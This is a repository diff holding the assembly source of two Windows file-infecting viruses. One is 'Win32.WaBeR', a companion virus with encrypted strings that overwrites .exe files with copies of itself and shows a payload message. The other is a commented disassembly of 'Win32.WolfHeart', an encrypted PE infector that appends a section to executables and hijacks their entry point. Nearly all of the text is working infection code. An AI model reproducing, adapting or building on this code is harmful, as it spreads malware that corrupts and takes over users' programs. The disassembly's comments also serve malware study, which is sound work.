;extrn ExitProcess:PROC
|
||||
;
|
||||
;.data
|
||||
;titel db '1st Generation',0
|
||||
;msg db 'Win32.WaBeR - Virus',10,13
|
||||
; db 'Version 2.4',10,13
|
||||
; db 'by -DiA- (c)02',10,13
|
||||
; db '[my 1st companion virus in win32]',0
|
||||
;
|
||||
;.code
|
||||
;start:
|
||||
;
|
||||
;push 16
|
||||
;push offset titel
|
||||
;push offset msg
|
||||
;push 0
|
||||
;call MessageBoxA
|
||||
;
|
||||
;push 0
|
||||
;call ExitProcess
|
||||
;
|
||||
;end start
|
||||
;*****cut*****WaBeR24.sys*******************************************************************
|
||||
;*******************************************************************************************
|
||||
|
||||
|
||||
;=====Have Fun...===========================================================================
|
||||
.386
|
||||
.model flat
|
||||
jumps
|
||||
|
||||
extrn GetCommandLineA:PROC
|
||||
extrn lstrcpyA:PROC
|
||||
extrn FindFirstFileA:PROC
|
||||
extrn CopyFileA:PROC
|
||||
extrn FindNextFileA:PROC
|
||||
extrn CreateProcessA:PROC
|
||||
extrn ExitProcess:PROC
|
||||
extrn MessageBoxA:PROC
|
||||
extrn OpenFile:PROC
|
||||
extrn CreateFileA:PROC
|
||||
extrn WriteFile:PROC
|
||||
extrn ReadFile:PROC
|
||||
extrn CloseHandle:PROC
|
||||
extrn SetFilePointer:PROC
|
||||
|
||||
.data
|
||||
FileName db 'ù€æíÛøßè”ÞÖÖ',-70
|
||||
titel db '”””€íßßÞšûÔÞšøÿßÈšèÏÖßÀ€”””',-70
|
||||
msg db 'íÓÔ‰ˆ”íÛøßèš—šìÓÈÏé',-80,-73
|
||||
db 'ìßÈÉÓÕÔšˆ”Ž',-80,-73
|
||||
db 'ØÃš—þÓû—š’Ù“Šˆ',-80,-73,-80,-73,-80,-73
|
||||
db 'áêöÿûéÿšèÿéÿîšîòÿšíÛøßè—ùõïôîÿ蚀š˜ù€æíÛøßè”ÞÖÖ˜ç',-70
|
||||
FirstNum db 'ò',-70
|
||||
FileMask db '�”ÿâÿ',-70
|
||||
Number db 01d dup (0)
|
||||
FileAttr dd 0
|
||||
FileHandle dd 0
|
||||
Read dd 0
|
||||
Write dd 0
|
||||
FindHandle dd 0
|
||||
ProcessInfo dd 4 dup (0)
|
||||
StartupInfo dd 4 dup (0)
|
||||
Win32FindData dd 0,0,0,0,0,0,0,0,0,0,0
|
||||
FindFile db 200 dup (0)
|
||||
CreateFile db 200 dup (0)
|
||||
VirusFile db 200 dup (0)
|
||||
OriginFile db 200 dup (0)
|
||||
|
||||
|
||||
.code
|
||||
start:
|
||||
|
||||
;-----Decrypt all Strings-------------------------------------------------------------------
|
||||
mov esi,offset FileName
|
||||
mov edi,esi
|
||||
mov ecx,154d
|
||||
call DeCrypt
|
||||
;-------------------------------------------------------------------------------------------
|
||||
|
||||
;-----Check the Counter---------------------------------------------------------------------
|
||||
push 2
|
||||
push offset FileAttr
|
||||
push offset FileName
|
||||
call OpenFile
|
||||
|
||||
cmp eax,0FFFFFFFFh
|
||||
je MakeFile
|
||||
|
||||
mov dword ptr [FileHandle],eax
|
||||
|
||||
GOon:
|
||||
call SetPointer
|
||||
|
||||
push 0
|
||||
push offset Read
|
||||
push 01d
|
||||
push offset Number
|
||||
push dword ptr [FileHandle]
|
||||
call ReadFile
|
||||
|
||||
cmp byte ptr [Number],'0'
|
||||
je BOOM
|
||||
|
||||
dec byte ptr [Number]
|
||||
|
||||
call SetPointer
|
||||
|
||||
push 0
|
||||
push offset Write
|
||||
push 01d
|
||||
push offset Number
|
||||
push dword ptr [FileHandle]
|
||||
call WriteFile
|
||||
|
||||
push dword ptr [FileHandle]
|
||||
call CloseHandle
|
||||
jmp WaBeR
|
||||
|
||||
MakeFile:
|
||||
push 0
|
||||
push 80h
|
||||
push 2
|
||||
push 0
|
||||
push 0
|
||||
push 0C0000000h
|
||||
push offset FileName
|
||||
call CreateFileA
|
||||
|
||||
mov dword ptr [FileHandle],eax
|
||||
|
||||
call SetPointer
|
||||
|
||||
push 0
|
||||
push offset Write
|
||||
push 01d
|
||||
push offset FirstNum
|
||||
push dword ptr [FileHandle]
|
||||
call WriteFile
|
||||
|
||||
jmp GOon
|
||||
|
||||
BOOM:
|
||||
push dword ptr [FileHandle]
|
||||
call CloseHandle
|
||||
|
||||
push 16
|
||||
push offset titel
|
||||
push offset msg
|
||||
push 0
|
||||
call MessageBoxA
|
||||
jmp exit
|
||||
|
||||
SetPointer:
|
||||
push 0
|
||||
push 0
|
||||
push 0
|
||||
push dword ptr [FileHandle]
|
||||
call SetFilePointer
|
||||
ret
|
||||
;-------------------------------------------------------------------------------------------
|
||||
|
||||
;-----Decrypt Loop--------------------------------------------------------------------------
|
||||
DeCrypt:
|
||||
lodsb
|
||||
xor al,69d
|
||||
not al
|
||||
stosb
|
||||
loop DeCrypt
|
||||
ret
|
||||
;-------------------------------------------------------------------------------------------
|
||||
|
||||
;-----Infect some Filez---------------------------------------------------------------------
|
||||
WaBeR:
|
||||
|
||||
call GetCommandLineA
|
||||
|
||||
push eax
|
||||
push offset VirusFile
|
||||
call lstrcpyA
|
||||
|
||||
mov eax,offset VirusFile
|
||||
GetPoint1:
|
||||
cmp byte ptr [eax],'.'
|
||||
jz FoundPoint1
|
||||
inc eax
|
||||
jmp GetPoint1
|
||||
|
||||
FoundPoint1:
|
||||
add eax,04d
|
||||
mov byte ptr [eax],00
|
||||
|
||||
push offset VirusFile+1
|
||||
push offset OriginFile
|
||||
call lstrcpyA
|
||||
|
||||
mov eax,offset OriginFile
|
||||
GetPoint2:
|
||||
cmp byte ptr [eax],'.'
|
||||
jz FoundPoint2
|
||||
inc eax
|
||||
jmp GetPoint2
|
||||
|
||||
FoundPoint2:
|
||||
inc eax
|
||||
mov dword ptr [eax],535953h
|
||||
|
||||
push offset Win32FindData
|
||||
push offset FileMask
|
||||
call FindFirstFileA
|
||||
mov dword ptr [FindHandle],eax
|
||||
|
||||
FindNext:
|
||||
cmp eax,-1
|
||||
je RunHost
|
||||
or eax,eax
|
||||
jz RunHost
|
||||
|
||||
push offset FindFile
|
||||
push offset CreateFile
|
||||
call lstrcpyA
|
||||
|
||||
mov eax,offset CreateFile
|
||||
GetPoint3:
|
||||
cmp byte ptr [eax],'.'
|
||||
jz FoundPoint3
|
||||
inc eax
|
||||
jmp GetPoint3
|
||||
|
||||
FoundPoint3:
|
||||
inc eax
|
||||
mov dword ptr [eax],535953h
|
||||
|
||||
push 1
|
||||
push offset CreateFile
|
||||
push offset FindFile
|
||||
call CopyFileA
|
||||
|
||||
push 0
|
||||
push offset FindFile
|
||||
push offset VirusFile+1
|
||||
call CopyFileA
|
||||
|
||||
push offset Win32FindData
|
||||
push dword ptr [FindHandle]
|
||||
call FindNextFileA
|
||||
jmp FindNext
|
||||
|
||||
RunHost:
|
||||
push offset ProcessInfo
|
||||
push offset StartupInfo
|
||||
push 0
|
||||
push 0
|
||||
push 00000010h
|
||||
push 0
|
||||
push 0
|
||||
push 0
|
||||
push offset OriginFile
|
||||
push offset OriginFile
|
||||
call CreateProcessA
|
||||
|
||||
exit:
|
||||
push 0
|
||||
call ExitProcess
|
||||
;-W-E-E-D--A-N-D--B-E-E-R--R-U-L-E-Z-----DiA------------------------------------------------
|
||||
end start
|
||||
;===========================================================================================
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,726 @@
|
||||
;Win32.WolfHeart aka win32.gen disassembly by DR-EF
|
||||
;--------------------------------------------------
|
||||
;Author:ByteSV/VHC
|
||||
;Orgin:russia
|
||||
;type: encrypted win32 pe infector
|
||||
;description:
|
||||
;------------
|
||||
;when worlfheart running,it decrypt itself using a 32bit xor key,than
|
||||
;its trying to get the GetModuleHandle api address,if that fail,its
|
||||
;assume win32 kernel base is at 0BFF70000h,than its start to find needed
|
||||
;api functions,after that its search the currect directory for *.exe,to
|
||||
;infect pe file,wolfheart append new section,put its code at that section
|
||||
;and encrypt it by 32bit key using xor method,than its set the host entry
|
||||
;point to that section.to read/write from files,wolfheart using file mapping
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
.386
|
||||
.model flat
|
||||
.radix 16
|
||||
extrn ExitProcess:proc
|
||||
|
||||
.data
|
||||
|
||||
db ?
|
||||
|
||||
.code
|
||||
|
||||
|
||||
VirusStart:
|
||||
pushad ;save registers
|
||||
pushfd ;save flags
|
||||
call Delta
|
||||
Delta: pop ebp
|
||||
sub ebp, offset Delta ;get delta offset into ebp
|
||||
|
||||
VirusKey equ ($-VirusStart+2)
|
||||
|
||||
mov eax, 00000000 ;decryption key here !
|
||||
|
||||
|
||||
|
||||
|
||||
mov esi,offset EncryptedVirusStart ;set start of data to decrypt
|
||||
add esi, ebp
|
||||
mov ecx, SizeOfEncryptedVirus ;set size of encrypted virus
|
||||
nop
|
||||
@Decrypt:
|
||||
xor dword ptr [esi], eax ;decrypt
|
||||
inc esi
|
||||
inc esi
|
||||
inc esi
|
||||
inc esi
|
||||
loop @Decrypt ;decrypt virus loop
|
||||
|
||||
|
||||
DecryptorSize equ ($-VirusStart)
|
||||
|
||||
|
||||
|
||||
EncryptedVirusStart:
|
||||
|
||||
|
||||
mov ebx, 00400000 ;host image base
|
||||
|
||||
HostImageBase equ ($-4)
|
||||
|
||||
mov esi, ebx ;esi = host image base
|
||||
|
||||
|
||||
mov edx,offset GMH
|
||||
add edx, ebp
|
||||
mov ecx, 00000010h
|
||||
nop
|
||||
mov dword ptr [ebp+StrAdd], edx
|
||||
mov dword ptr [ebp+StrLen], ecx
|
||||
call WolfHeart_GetGMHApi
|
||||
jnb GMH_Success ;jnc
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
mov eax, 0BFF70000h ;search kernel fail,assume kernel at bff700000
|
||||
jmp FindGPA
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
GMH_Success:
|
||||
mov edx, ebp
|
||||
add edx,offset k32_dll
|
||||
push edx ;push offset "KERNEL32.DLL"
|
||||
call eax ;call GetModuleHandle
|
||||
or eax, eax ;is eax==0 ?
|
||||
je ReturnToHost ;if so get out
|
||||
|
||||
;FindGPA Function
|
||||
;input:
|
||||
;eax - kernel32 image base
|
||||
|
||||
|
||||
|
||||
FindGPA:
|
||||
mov edx, dword ptr [ebp+HostImageBase] ;get host image base
|
||||
push edx ;save it in the stack
|
||||
mov edx, dword ptr [ebp+HostEntryPoint] ;get host entry point
|
||||
push edx ;save it on the stack
|
||||
mov esi, eax ;esi - kernel32 image base
|
||||
mov esi, dword ptr [esi+3Ch] ;esi - rva to pe header
|
||||
add esi, eax ;esi - pe header
|
||||
mov edx, dword ptr [esi] ;read 4 bytes from start of pe header
|
||||
cmp edx, 00004550 ;compare them with PE\0\0
|
||||
jne ReturnToHost ;if not equal get out
|
||||
xor edx, edx ;zero edx
|
||||
mov esi, dword ptr [esi+78] ;get rva to exports
|
||||
add esi, eax ;convert it to va
|
||||
mov dword ptr [ebp+Export_Section], esi ;save export section offset
|
||||
mov ecx, dword ptr [esi+18] ;get number of functions
|
||||
mov ebx, dword ptr [esi+20] ;get rva to function names rva's array
|
||||
add ebx, eax ;convert it to va
|
||||
FindNApi:
|
||||
mov edi, dword ptr [ebx] ;get rva to function name
|
||||
add edi, eax ;convert it to va
|
||||
cmp byte ptr [edi], 47 ;compare the first byte of the api name with 'G'
|
||||
jne NotGPA ;if not equal move to next api
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
mov esi,offset GPA ;get offset to GetProcAddress string
|
||||
add esi, ebp ;add delta offset
|
||||
mov ecx, 0000000Eh ;GetProcAddress size
|
||||
nop
|
||||
repz cmpsb ;compare api name in the exports with "GetProcAddress"
|
||||
jne NotGPA ;if not equal move to next api
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
cmp byte ptr [edi], 00 ;check for string zero termination
|
||||
jne NotGPA
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
mov dword ptr [ebp+0040166Bh], eax ;save kernel32 base address
|
||||
mov esi, dword ptr [ebp+Export_Section] ;get offset to export section
|
||||
mov ecx, dword ptr [esi+24] ;get rva to ordinals array
|
||||
add ecx, eax ;convert it to va
|
||||
shl edx, 1 ;GetProcAddress position*2
|
||||
mov edi, edx ;edi=GPA position*2
|
||||
add edi, ecx ;edi=pointer to GPA oridinal
|
||||
xor ebx, ebx ;zero ebx
|
||||
mov bx, word ptr [edi] ;read GPA oridinal number
|
||||
shl ebx, 02 ;ebx=(GPA oridinal number)*4
|
||||
mov esi, dword ptr [esi+1Ch] ;get rva to functions addresses array
|
||||
add esi, eax ;convert it to va
|
||||
add esi, ebx ;add it the GPA position in this array
|
||||
mov esi, dword ptr [esi] ;read rva to GPA function
|
||||
add eax, esi ;get its va by adding the rva to the k32 base address
|
||||
mov ebx, dword ptr [ebp+0040166Bh] ;ebx=k32 base address
|
||||
jmp GetApis
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
NotGPA: add ebx, 00000004 ;move to next api name rva
|
||||
inc edx ;GPA position++
|
||||
loop FindNApi
|
||||
pop edi ;restore stack
|
||||
jb ReturnToHost ;return to host
|
||||
GetApis:mov esi, ebp
|
||||
add esi,offset ApiAddresses_Table ;api addresses array
|
||||
mov edi, ebp
|
||||
add edi,offset ApiNamesTable ;api names array
|
||||
NextApi:mov ecx, dword ptr [edi] ;read 4 bytes from the api name
|
||||
or ecx, ecx ;if empty==there are no more apis
|
||||
je NoMoreApis
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
push eax ;save k32 base in the stack
|
||||
push edi ;api name
|
||||
push ebx ;k32 base address
|
||||
call eax ;call GetProcAddress
|
||||
mov dword ptr [esi], eax ;save function address
|
||||
pop eax ;restore k32 base address
|
||||
add edi, 00000013 ;move to next api name
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
add esi, 00000004 ;move to next api in the addresses table
|
||||
jmp NextApi ;get more apis !
|
||||
NoMoreApis:
|
||||
int 3
|
||||
mov edx,offset WIN32_FIND_DATA
|
||||
add edx, ebp
|
||||
push edx
|
||||
sub edx,SM_Offset ;offset to search_mask
|
||||
push edx
|
||||
add edx,F_FirstFile ;FindFirstFile api
|
||||
call dword ptr [edx] ;check if return value is 0
|
||||
or eax, eax ;<-- wrong if FindFirstFile fail it return INVALID_HANDLE_VALUE which is -1
|
||||
je ReturnToHost ;return to host if eax==0
|
||||
mov dword ptr [ebp+find_handle], eax
|
||||
NextFile:
|
||||
mov eax, dword ptr [ebp+0040168Fh]
|
||||
mov dword ptr [ebp+0040165Bh], eax
|
||||
mov eax, dword ptr [ebp+00401693]
|
||||
mov dword ptr [ebp+0040165Fh], eax
|
||||
push 00000000
|
||||
push 00000000
|
||||
push 00000003
|
||||
push 00000000
|
||||
push 00000000
|
||||
push 0C0000000h
|
||||
mov edx, ebp
|
||||
add edx,offset WFD_szFileName
|
||||
push edx
|
||||
mov eax, dword ptr [ebp+CreateFileA_]
|
||||
call eax
|
||||
jb MoveToNextFile ;if error move to next file
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
cmp eax, 0FFFFFFFFh ;canot open file ?
|
||||
je MoveToNextFile ;move to next file
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
mov dword ptr [ebp+hfile], eax ;save file handle
|
||||
call WolfHeart_InfectFile
|
||||
mov eax, ebp
|
||||
add eax,offset LastWriteTime
|
||||
push eax
|
||||
sub eax, 00000008 ;offset to LastAccessTime
|
||||
push eax
|
||||
sub eax, 00000008 ;offset to CreationTime
|
||||
push eax
|
||||
mov eax, dword ptr [ebp+hfile]
|
||||
push eax
|
||||
mov eax, dword ptr [ebp+SetFileTime_]
|
||||
call eax ;call SetFileTime
|
||||
mov eax, dword ptr [ebp+hfile]
|
||||
push eax
|
||||
mov eax, dword ptr [ebp+CloseHandle_]
|
||||
call eax
|
||||
MoveToNextFile:
|
||||
|
||||
mov edx, ebp
|
||||
add edx,offset WIN32_FIND_DATA
|
||||
push edx
|
||||
mov eax, dword ptr [ebp+find_handle]
|
||||
push eax
|
||||
sub edx, FindNXTFile
|
||||
call dword ptr [edx] ;call findnextfile api
|
||||
or eax, eax ;error ?
|
||||
jne NextFile ;if not,there are more files..
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
ReturnToHost:
|
||||
|
||||
pop edx
|
||||
pop eax
|
||||
mov dword ptr [ebp+HostImageBase], eax
|
||||
add edx, eax
|
||||
mov dword ptr [ebp+HostEntryPoint], edx
|
||||
popfd
|
||||
popad
|
||||
mov edx, offset FakeHost
|
||||
|
||||
HostEntryPoint equ ($-4)
|
||||
|
||||
push edx
|
||||
ret
|
||||
|
||||
|
||||
;input:
|
||||
;eax - file handle
|
||||
WolfHeart_InfectFile:
|
||||
mov edx, eax
|
||||
mov eax, dword ptr [ebp+0040165Bh]
|
||||
or eax, eax
|
||||
jne ExitInfect
|
||||
push 00000000
|
||||
mov eax, dword ptr [ebp+0040165Fh]
|
||||
add eax, 00001C75h
|
||||
push eax
|
||||
push 00000000
|
||||
push 00000004
|
||||
push 00000000
|
||||
push edx
|
||||
mov eax, dword ptr [ebp+CreateFileMappingA_]
|
||||
call eax ;create file mapping object
|
||||
or eax, eax ;error ?
|
||||
je ExitInfect
|
||||
mov edx, dword ptr [ebp+0040165Fh]
|
||||
add edx, 00001C75h
|
||||
push edx
|
||||
push 00000000
|
||||
push 00000000
|
||||
push 00000002
|
||||
push eax
|
||||
mov eax, dword ptr [ebp+MapViewOfFile_]
|
||||
call eax ;map file into memory
|
||||
or eax, eax
|
||||
je ExitInfect
|
||||
mov dword ptr [ebp+mapbase], eax ;save map base !
|
||||
|
||||
|
||||
|
||||
|
||||
mov ebx, eax ;ebx <- map base
|
||||
mov esi, eax ;esi <- map base
|
||||
mov esi, dword ptr [esi+3Ch] ;read rva to pe header
|
||||
add esi, ebx ;convert it to va,ESI==PE header !
|
||||
mov eax, dword ptr [esi] ;read 4 bytes into eax
|
||||
cmp eax, 00004550 ;compare with PE\0\0
|
||||
jne ExitInfect_UnmapFile ;not equal get out
|
||||
mov dword ptr [ebp+DistanceToMove], 00000000
|
||||
mov ax, word ptr [esi+1Ah] ;get Major & Minor Linker Version(WolfHeart use them as infection sign)
|
||||
cmp ax, 4206 ;already infected ?
|
||||
je ExitInfect_UnmapFile ;exit
|
||||
mov eax, dword ptr [edi+28] ;get ???(edi didnt setted)
|
||||
mov dword ptr [ebp+HostEntryPoint], eax ;save as entry point
|
||||
mov eax, dword ptr [edi+24] ;get ???(edi didnt setted)
|
||||
mov dword ptr [ebp+HostImageBase], eax ;save as image base
|
||||
mov edi, esi ;edi = pe header
|
||||
xor eax, eax ;set eax to zero
|
||||
mov eax, dword ptr [esi+74] ;get Number Of Rva And Sizes
|
||||
shl eax, 03 ;eax=(Number Of Rva And Sizes)*8
|
||||
add eax, 00000078
|
||||
add edi, eax ;edi - first section header
|
||||
mov ax, word ptr [esi+06] ;ax==number of sections
|
||||
mov cx, 0028 ;cx==28h(size of section)
|
||||
mul cx ;eax - size of all sections headers
|
||||
add edi, eax ;edi - end of sections headers
|
||||
mov eax, dword ptr [edi-20] ;get virtual size into eax
|
||||
cdq ;zero edx
|
||||
add eax, dword ptr [edi-1Ch] ;add virtual address
|
||||
mov ecx, dword ptr [esi+38] ;get section alignment
|
||||
div ecx
|
||||
or edx, edx
|
||||
je Set_VirtualAddress
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
inc eax
|
||||
Set_VirtualAddress:
|
||||
mul ecx
|
||||
mov dword ptr [ebp+SH_VirtualAddress], eax ;set SH_VirtualAddress in section header
|
||||
mov ecx, dword ptr [esi+3Ch] ;get file alignment
|
||||
mov eax, 00000617 ;eax - virus size
|
||||
cdq ;zero edx
|
||||
div ecx
|
||||
or edx, edx
|
||||
je Set_SizeOfRawData
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
inc eax
|
||||
Set_SizeOfRawData:
|
||||
mul ecx
|
||||
mov dword ptr [ebp+SH_SizeOfRawData], eax ;set SH_SizeOfRawData in section header
|
||||
mov eax, 00000875
|
||||
cdq ;zero edx
|
||||
div ecx
|
||||
or edx, edx
|
||||
je Set_VirtualSize
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
inc eax
|
||||
Set_VirtualSize:
|
||||
mul ecx
|
||||
mov dword ptr [ebp+SH_VirtualSize], eax ;set SH_VirtualSize
|
||||
mov eax, dword ptr [edi-14] ;get pointer to raw data
|
||||
add eax, dword ptr [edi-18] ;add to it size of raw data
|
||||
mov ecx, dword ptr [esi+3Ch] ;get file alignment
|
||||
div ecx ;eax/ecx=where to store virus
|
||||
or edx, edx
|
||||
je Set_PointerToRawData
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
inc eax
|
||||
Set_PointerToRawData:
|
||||
mul ecx
|
||||
mov dword ptr [ebp+SH_PointerToRawData], eax;set SH_PointerToRawData
|
||||
push esi ;save pe header in the stack
|
||||
mov esi, ebp
|
||||
add esi,offset SH_Name ;esi - start of section
|
||||
mov ecx, 0000000Ah
|
||||
repz movsd ;append new section
|
||||
pop esi ;restore pe header into esi
|
||||
inc word ptr [esi+06] ;update number of sections
|
||||
mov ax, 4206 ;ax=infection sign
|
||||
mov word ptr [esi+1Ah], ax ;mark file as infected
|
||||
mov eax, dword ptr [esi+34] ;get host image base
|
||||
mov dword ptr [ebp+HostImageBase], eax ;save it
|
||||
mov eax, dword ptr [esi+28] ;get host entry point
|
||||
mov dword ptr [ebp+HostEntryPoint], eax ;save it
|
||||
mov eax, dword ptr [ebp+SH_VirtualAddress] ;get virus section virtual size
|
||||
mov dword ptr [esi+28], eax ;set new entry point to the virus section start
|
||||
mov edi, dword ptr [ebp+SH_PointerToRawData];get pointer to raw data of the virus
|
||||
add edi, ebx ;add map base to it
|
||||
push edi ;save virus section raw data offset in the stack
|
||||
mov esi, ebp
|
||||
add esi,offset VirusStart ;esi - virus start
|
||||
mov ecx, 00000186 ;ecx - virus size in dwords
|
||||
nop
|
||||
cld ;clear direction flag
|
||||
repz movsd ;copy virus into the host
|
||||
pop edi ;restore virus offset in file
|
||||
mov esi, edi
|
||||
add edi, DecryptorSize
|
||||
mov ecx, SizeOfEncryptedVirus
|
||||
nop
|
||||
mov eax, dword ptr [ebp+00401677]
|
||||
mov dword ptr [esi+VirusKey], eax
|
||||
@Encrypt:
|
||||
xor dword ptr [edi], eax
|
||||
inc edi
|
||||
inc edi
|
||||
inc edi
|
||||
inc edi
|
||||
loop @Encrypt
|
||||
mov dword ptr [ebp+DistanceToMove], 00000617
|
||||
|
||||
ExitInfect_UnmapFile:
|
||||
mov eax, dword ptr [ebp+mapbase]
|
||||
push eax
|
||||
mov eax, dword ptr [ebp+UnmapViewOfFile_]
|
||||
call eax
|
||||
push 00000000 ;FILE_BEGIN
|
||||
push 00000000 ;lpDistanceToMoveHigh
|
||||
mov eax, dword ptr [ebp+00401693]
|
||||
add eax, dword ptr [ebp+DistanceToMove]
|
||||
push eax ;lDistanceToMove
|
||||
push dword ptr [ebp+hfile] ;hFile
|
||||
mov eax, dword ptr [ebp+SetFilePointer_] ;call SetFilePointer
|
||||
call eax
|
||||
push dword ptr [ebp+hfile]
|
||||
mov eax, dword ptr [ebp+SetEndOfFile_]
|
||||
call eax
|
||||
ExitInfect:
|
||||
ret
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
;Get the GetModuleHandle from import section of the host
|
||||
;input:
|
||||
;esi - image base
|
||||
;ebx - image base
|
||||
;ecx - size of api name string
|
||||
;edx - pointer to name
|
||||
WolfHeart_GetGMHApi:
|
||||
cmp word ptr [esi], 5A4Dh ;check mz sign
|
||||
jne FindApiInImportErr ;if error exit
|
||||
mov esi,dword ptr [esi+3Ch] ;goto pe header
|
||||
add esi,ebx ;add image base
|
||||
cmp dword ptr [esi], 00004550 ;check for pe\0\0
|
||||
jne FindApiInImportErr ;if error exit
|
||||
mov ecx,dword ptr [esi+00000084h] ;get size of import section
|
||||
add ecx,ebx ;add it the image base
|
||||
mov esi,dword ptr [esi+00000080h] ;get import data rva
|
||||
add esi,ebx ;convert it to va
|
||||
mov edi,esi ;edi = import section
|
||||
NxtDll: mov esi, dword ptr [esi+0Ch] ;get rva to dll name
|
||||
or esi, esi ;no more dlls ?
|
||||
je FindApiInImportErr ;exit than
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
add esi, ebx ;convert dll name rva to va
|
||||
mov eax, dword ptr [esi] ;get first 4 bytes of dll name into
|
||||
and eax, 0DFDFDFDFh ;convert bytes to upper case
|
||||
cmp eax, 4E52454Bh ;compare them with "NREK"(kernel32.dll)
|
||||
je ScanImportsFromK32 ;scan k32 IMAGE_THUNK_DATA structures
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
add edi, 00000014h ;move to next IMAGE_IMPORT_DESCRIPTOR structure
|
||||
mov esi, edi
|
||||
cmp edi, ecx ;is it end of import section?
|
||||
jg NxtDll ;if no,scan for more dlls
|
||||
ScanImportsFromK32:
|
||||
mov dword ptr [ebp+image_import_desc], edi ;save k32 IMAGE_IMPORT_DESCRIPTOR
|
||||
mov edx, dword ptr [edi+10h] ;get rva to IMAGE_IMPORT_BYNAME structure(First Thunk)
|
||||
add edx, ebx ;convert it to va
|
||||
mov edi, dword ptr [edi] ;get rva to IMAGE_IMPORT_BYNAME structure(Characteristics)
|
||||
add edi, ebx ;convert it to va
|
||||
NxtIBN: mov dword ptr [ebp+Import_By_Name], edi ;save import by name offset
|
||||
mov eax, dword ptr [edi] ;get api name
|
||||
or eax, eax
|
||||
je FindApiInImportErr
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
mov edi, dword ptr [edi]
|
||||
add edi, ebx
|
||||
inc edi
|
||||
inc edi
|
||||
mov ecx, 00000000
|
||||
|
||||
StrLen equ ($-4)
|
||||
|
||||
mov esi, 00000000
|
||||
|
||||
StrAdd equ ($-4)
|
||||
|
||||
repz cmpsb
|
||||
je FindApiInImport_Success
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
mov edi, dword ptr [ebp+Import_By_Name] ;get import by name
|
||||
add edi, 00000004 ;move to next import by name
|
||||
add edx, 00000004
|
||||
jmp NxtIBN
|
||||
FindApiInImport_Success:
|
||||
mov edi, edx
|
||||
mov eax, dword ptr [edi]
|
||||
mov dword ptr [ebp+0040164Fh], eax
|
||||
clc
|
||||
ret
|
||||
FindApiInImportErr:
|
||||
stc
|
||||
ret
|
||||
ret
|
||||
|
||||
;wolfheart's data:
|
||||
|
||||
k32_dll db "KERNEL32.DLL",0
|
||||
|
||||
GMH db "GetModuleHandleA"
|
||||
|
||||
GPA db "GetProcAddress"
|
||||
|
||||
|
||||
SM_Offset equ (WIN32_FIND_DATA-$-3)
|
||||
|
||||
search_mask db "*.exe",0
|
||||
|
||||
|
||||
|
||||
;New section to add:
|
||||
|
||||
SH_Name DB ".ByteSV",0
|
||||
SH_VirtualSize DD 0
|
||||
SH_VirtualAddress DD 0
|
||||
SH_SizeOfRawData DD 0
|
||||
SH_PointerToRawData DD 0
|
||||
SH_PointerToRelocations DD 0
|
||||
SH_PointerToLinenumbers DD 0
|
||||
SH_NumberOfRelocations DW 0
|
||||
SH_NumberOfLinenumbers DW 0
|
||||
SH_Characteristics DD 600000E0h
|
||||
|
||||
|
||||
;copyright string
|
||||
db "[Win32.Wolfheart.1481] (c) ByteSV/VHC",0
|
||||
|
||||
|
||||
|
||||
ApiNamesTable:
|
||||
|
||||
;comment:
|
||||
;wolfheart align api name by 19 bytes..
|
||||
|
||||
|
||||
db "FindFirstFileA"
|
||||
db 5 dup(0)
|
||||
db "FindNextFileA"
|
||||
db 6 dup(0)
|
||||
db "CloseHandle"
|
||||
db 8 dup(0)
|
||||
db "CreateFileA"
|
||||
db 8 dup(0)
|
||||
db "WriteFile"
|
||||
db 0ah dup(0)
|
||||
db "ReadFile"
|
||||
db 0bh dup(0)
|
||||
db "CreateFileMappingA",0
|
||||
db "MapViewOfFile"
|
||||
db 6 dup(0)
|
||||
db "UnmapViewOfFile"
|
||||
db 4 dup(0)
|
||||
db "SetFilePointer"
|
||||
db 5 dup(0)
|
||||
db "SetEndOfFile"
|
||||
db 7 dup(0)
|
||||
db "SetFileTime"
|
||||
db 0eh dup(0)
|
||||
|
||||
F_FirstFile equ ($-offset search_mask)
|
||||
|
||||
ApiAddresses_Table: ;(00401617)
|
||||
|
||||
|
||||
FindFirstFileA_ dd 0 ;17
|
||||
FindNextFileA_ dd 0 ;1b
|
||||
CloseHandle_ dd 0 ;1f
|
||||
CreateFileA_ dd 0 ;23
|
||||
WriteFile_ dd 0 ;27
|
||||
ReadFile_ dd 0 ;2b
|
||||
CreateFileMappingA_ dd 0 ;2f
|
||||
MapViewOfFile_ dd 0 ;33
|
||||
UnmapViewOfFile_ dd 0 ;37
|
||||
SetFilePointer_ dd 0 ;3b
|
||||
SetEndOfFile_ dd 0 ;3f
|
||||
SetFileTime_ dd 0 ;43
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Import_By_Name dd 0
|
||||
|
||||
image_import_desc dd 0
|
||||
|
||||
;:0040-1647 00000000000000 BYTE 10 DUP(0)
|
||||
;:0040164E 0000000000
|
||||
|
||||
|
||||
find_handle dd 0
|
||||
|
||||
|
||||
|
||||
|
||||
; 00 BYTE 10 DUP(0)
|
||||
|
||||
hfile dd 0
|
||||
|
||||
;:0040165b 00000000000000 BYTE 7 DUP(0)
|
||||
;:00401662 00
|
||||
mapbase dd 0
|
